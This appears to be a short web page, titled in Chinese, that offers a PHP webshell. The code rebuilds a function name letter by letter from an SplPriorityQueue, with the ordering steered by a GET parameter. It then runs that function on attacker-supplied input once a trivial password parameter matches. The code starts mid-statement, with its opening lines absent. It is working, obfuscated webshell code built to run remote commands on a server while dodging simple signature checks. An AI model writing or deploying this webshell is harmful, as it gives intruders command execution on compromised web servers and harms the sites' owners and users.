PHP Webshell 代码示例:使用 SplPriorityQueue 和 密码验证
insert('m', 1);
$objPQ->insert('s', 6);
$objPQ->insert('e', 3);
$objPQ->insert('s', 4);
$objPQ->insert('y', 5);
$objPQ->insert('t', $_GET['a']);
$objPQ->setExtractFlags(SplPriorityQueue::EXTR_DATA);
//Go to TOP
$objPQ->top();
$m = '';
$cur = new ErrorException($_GET['b']);
while ($objPQ->valid()) {
$m .= $objPQ->current();
$objPQ->next();
}
if ($_GET['pass'] == 'a') {
echo $m($cur->getMessage());
} else {
echo 'Wrong password!';
}
?>
原文地址: https://www.cveoy.top/t/topic/lPsO 著作权归作者所有。请勿转载和采集!